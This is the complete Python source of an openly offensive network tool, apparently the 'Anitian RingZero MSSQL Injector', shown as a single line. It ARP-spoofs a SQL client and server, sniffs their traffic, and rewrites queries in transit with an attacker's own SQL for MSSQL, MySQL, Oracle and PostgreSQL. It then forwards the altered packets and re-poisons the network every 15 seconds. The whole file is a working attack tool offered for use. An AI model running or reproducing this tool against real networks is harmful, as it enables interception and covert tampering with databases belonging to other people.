from scapy.all import * import unicodedata import sys, getopt import time, datetime import argparse import socket import fcntl import struct import threading ##################################### # ARP Scan - Get remote MAC address # ##################################### def arp_scan(ip): conf.verb = 0 ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst = ip), timeout = 2) for snd,rcv in ans: return rcv.sprintf(r"%Ether.src%") return 1 ############################################################## # Used to pad new query with spaces because of TCP checksum. # ############################################################## def pad_query(old_query, new_query, q_modifier): padded_query = new_query length = len(old_query) - (len(new_query) * q_modifier) for i in range(0, length/q_modifier): padded_query = padded_query + " " # Add spaces to the end of the SQL query return padded_query ############################################################## # Used to pad new query with spaces because of TCP checksum. # # Also keeps special Oracle characters in place after query. # ############################################################## def pad_query_oracle(old_query, new_query): padded_query = new_query length = len(old_query) - len(new_query) - 52 #print "padding with " + str(length) #print old_query #print new_query for i in range(0, length): padded_query = padded_query + " " # Add spaces to the end of the SQL query # This all seems to be required for Oracle for some reason padded_query = padded_query + "\x01" for i in range(0, 27): padded_query = padded_query + "\x00" padded_query = padded_query + "\x01" for i in range(0, 8): padded_query = padded_query + "\x00" padded_query = padded_query + "\x80" for i in range(0, 14): padded_query = padded_query + "\x00" return padded_query ############################################################## # Used to pad new query with spaces because of TCP checksum. # # PostgreSQL keeps the semicolon at the end so we need this. # ############################################################## def pad_query_postgresql(old_query, new_query): padded_query = new_query length = len(old_query) - len(new_query) for i in range(0, length - 2): padded_query = padded_query + " " # Add spaces to the end of the SQL query padded_query = padded_query + ";\x00" return padded_query ############################################ # Used to pad SQL strings with null bytes. # ############################################ def encode_query(query): query2 = "" for c in query: query2 = query2 + c + "\x00" # Insert bye \x00 after each character in the string return query2 ########################### # Get my own MAC address. # ########################### def get_mac_address(my_interface): mac = get_if_hwaddr(my_interface) if mac != "00:00:00:00:00:00": return mac return 1 ############################ # Get Interface IP Address # ############################ def get_interface_address(ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) return socket.inet_ntoa(fcntl.ioctl( s.fileno(), 0x8915, # SIOCGIFADDR struct.pack('256s', ifname[:15]) )[20:24]) ################ # ARP SPOOFING # ################ def arp_spoof(client_ip, server_ip): print "Sending ARP spoofing packets..." print "Client: " + client_ip + " / Server: " + server_ip # Tell the client that I am the server packet = ARP() packet.psrc = server_ip packet.pdst = client_ip packet.op = 2 send(packet) # Tell the server that I am the client packet = ARP() packet.psrc = client_ip packet.pdst = server_ip packet.op = 2 send(packet) return 0 ################## # Undo ARP Spoof # ################## def undo_arp_spoof(client_ip, client_mac, server_ip, server_mac): rearp_packet = ARP() rearp_packet.psrc = client_ip rearp_packet.pdst = server_ip rearp_packet.hwsrc = client_mac rearp_packet.hwdst = server_mac rearp_packet.op = 2 # "is-at" opcode instead of the default "query" send(rearp_packet) rearp_packet = ARP() rearp_packet.psrc = server_ip rearp_packet.pdst = client_ip rearp_packet.hwsrc = server_mac rearp_packet.hwdst = client_mac rearp_packet.op = 2 # "is-at" opcode instead of the default "query" send(rearp_packet) return 0 ################################### # Search for matching MSSQL query # ################################### def search_for_mssql(data, begin_keyword, end_keyword): i=data.lower().find(encode_query(begin_keyword)) if i > 0: j=str(data).find(end_keyword, i) if j > 0: return data[i:j], i, j return 1,1,1 ################################### # Search for matching MYSQL query # ################################### def search_for_mysql(data, begin_keyword): i=data.lower().find(begin_keyword) if i > 0: return data[i:len(data)], i, len(data) return 1,1,1 ################################ # Check for keyboard interrupt # ################################ def stopfilter(x): try: return True except keyboardInterrupt: print "Re-ARPing victims..." undo_arp_spoof(client_ip, client_mac, server_ip, server_mac) sys.exit(0) return False ######################################### # Process each packet as it's received. # ######################################### def processPacket(my_mac, server_type, client_mac, client_ip, server_mac, server_ip, begin_keyword, end_keyword, new_query): ### Must nest a function here to pass arguments from sniff() ### def manipulatePacket(in_packet): if in_packet.haslayer(TCP): out_packet=in_packet #setup the outbound packet. srcmac=in_packet.src dstmac=in_packet.dst #print "srcmac: " + srcmac #print "dstmac: " + dstmac ### Does the packet have Raw data? ### if in_packet.haslayer(Raw): data=in_packet.load match = False ### Does the Raw data contain keywords? ### ### Check MSSQL ### if server_type == "mssql": old_query, startQuery, endQuery = search_for_mssql(data, begin_keyword, end_keyword) if old_query != 1: match = True ### Check MYSQL ### elif server_type == "mysql" or server_type == "oracle" or server_type == "postgresql": old_query, startQuery, endQuery = search_for_mysql(data, begin_keyword) if old_query != 1: match = True ### Do we have a match? ### if match == True: print "Found a matching packet!" ### Is new Query too long? ### if server_type == "mssql": q_modifier = 2 # MSSQL has null bytes between characters so we must double our new query length elif server_type == "mysql" or server_type == "oracle" or server_type == "postgresql": q_modifier = 1 if len(old_query) < (len(new_query) * q_modifier): print "Cannot replace: New query is longer than old query!" print "OldQuery: " + str(len(old_query)), " | NewQuery: " + str(len(new_query) * q_modifier) else: ### Update outbound packet with new data ### if server_type == "mssql": out_packet.load=out_packet.load[:startQuery] + encode_query(pad_query(old_query,new_query,q_modifier)) + out_packet.load[endQuery:] elif server_type == "mysql": out_packet.load=out_packet.load[:startQuery] + pad_query(old_query,new_query,q_modifier) + out_packet.load[endQuery:] elif server_type == "oracle": out_packet.load=out_packet.load[:startQuery] + pad_query_oracle(old_query,new_query) + out_packet.load[endQuery:] elif server_type == "postgresql": out_packet.load=out_packet.load[:startQuery] + pad_query_postgresql(old_query,new_query) + out_packet.load[endQuery:] print "Replaced query!" ### Check if packet is from victims. ### ### If so, replace MAC address fields ### ### and send packet. ### if in_packet[IP].src == client_ip and srcmac == client_mac and dstmac == my_mac: # If source is client del out_packet[TCP].chksum out_packet.dst=server_mac # Send to server sendp(out_packet) if in_packet[IP].src == server_ip and srcmac == server_mac and dstmac == my_mac: # If source is server print "retransmitting packet to client" del out_packet[TCP].chksum out_packet.dst=client_mac # Send to client sendp(out_packet) return manipulatePacket ######## # MAIN # ######## def main(argv): print "" print "Anitian RingZero MSSQL Injector" print "By: Rick Osgood" print "Press Ctrl+C to quit." print "" ### Check arguments ### parser = argparse.ArgumentParser() parser.add_argument("interface", nargs=1, metavar="", help="Interface to sniff on.") parser.add_argument("server_type", nargs=1, metavar="", help="mssql/mysql/oracle/postgresql.") parser.add_argument("client_ip", nargs=1, metavar="", help="SQL Client IP.") parser.add_argument("server_ip", nargs=1, metavar="", help="SQL Server IP.") parser.add_argument("new_query", nargs=1, metavar="", help="New query to inject.") parser.add_argument("--begin_keyword", nargs=1, metavar="", help="Keyword (case-insensitive) at the beginning of the query to be replaced. Default: \"SELECT\"") parser.add_argument("--end_keyword", nargs=1, metavar="", help="Keyword (case-insensitive) at the end of the query to be replaced. Default: \";\"") args = parser.parse_args() ### Remove the [" and "] from the strings my_interface = str(args.interface)[2:-2] server_type = str(args.server_type)[2:-2] client_ip = str(args.client_ip)[2:-2] server_ip = str(args.server_ip)[2:-2] new_query = str(args.new_query)[2:-2] if args.begin_keyword: begin_keyword = str(args.begin_keyword)[2:-2].lower() # Make lowercase for case insensitivity else: begin_keyword = "select" # Default value if args.end_keyword: end_keyword = str(args.end_keyword)[2:-2].lower() # Make lowercase for case insensitivity else: end_keyword = ";" # Default value ### Get local MAC address ### my_mac = get_mac_address(my_interface) if not my_mac: print "Can't get local mac address. Quitting." sys.exit(1) ### Get local IP address ### my_ip = get_interface_address(my_interface) if not my_ip: print "Can't get local IP address. Quitting." sys.exit(1) ### Get client MAC address ### client_mac=arp_scan(client_ip) if client_mac is None or client_mac == 1: print "Could not get MSSQL client MAC address!" sys.exit(1) ### Get server MAC address ### server_mac=arp_scan(server_ip) if server_mac is None or server_mac == 1: print "Could not get MSSQL server MAC address!" sys.exit(1) ### Helpful output for debugging print "Sniffing on " + my_ip + "..." print "" ### Set the first Arp Spoof to happen after 1 second, from there it will happen every 15 seconds. arp_spoof(client_ip, server_ip) arpTimer=threading.Timer(15, arp_spoof, args=[client_ip, server_ip]) arpTimer.start() ### Sniff packets forever ## filter_string = "host " + client_ip + " or host " + server_ip while True: sniff(filter=filter_string, prn=processPacket(my_mac, server_type, client_mac, client_ip, server_mac, server_ip, begin_keyword, end_keyword, new_query)) arpTimer.cancel() print "Re-ARPing victims..." undo_arp_spoof(client_ip, client_mac, server_ip, server_mac) sys.exit(0) if __name__ == "__main__": main(sys.argv[1:])